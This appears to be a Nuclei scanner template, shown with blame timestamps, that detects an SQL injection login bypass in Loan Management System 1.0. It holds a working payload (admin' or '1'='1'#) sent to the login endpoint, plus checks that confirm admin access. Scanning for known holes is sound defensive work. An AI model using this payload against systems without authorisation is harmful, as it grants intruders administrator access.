nuclei-templates/vulnerabilities/other/loancms-sqli.yaml

44 lines
1015 B
YAML
Raw Normal View History

2022-07-20 11:07:42 +00:00
id: loancms-sqli
info:
name: Loan Management System 1.0 - SQLi Authentication Bypass
author: arafatansari
2022-07-20 12:38:25 +00:00
severity: high
2022-07-20 11:07:42 +00:00
description: |
Loan Management System Login page can be bypassed with a simple SQLi to the username parameter.
2022-07-20 12:38:25 +00:00
reference:
- https://www.exploit-db.com/exploits/50402
2022-07-22 06:45:21 +00:00
metadata:
verified: true
2022-07-21 09:47:40 +00:00
tags: loancms,sqli,auth-bypass,cms
2022-07-20 11:07:42 +00:00
requests:
- raw:
- |
POST /ajax.php?action=login HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=admin'+or+'1'%3D'1'%23&password=nuclei
2022-07-20 12:38:25 +00:00
- |
GET /index.php?page=home HTTP/1.1
Host: {{Hostname}}
2022-07-21 11:06:05 +00:00
cookie-reuse: true
2022-07-20 11:07:42 +00:00
matchers-condition: and
matchers:
- type: word
part: body
words:
2022-07-20 12:38:25 +00:00
- 'window.start_load'
2022-07-21 11:06:05 +00:00
- 'Welcome back Admin'
2022-07-20 12:38:25 +00:00
- 'Loan Management System'
2022-07-20 12:41:03 +00:00
condition: and
2022-07-20 11:07:42 +00:00
- type: word
2022-07-20 12:38:25 +00:00
part: body
2022-07-20 11:07:42 +00:00
words:
2022-07-20 12:38:25 +00:00
- 'login-form'
negative: true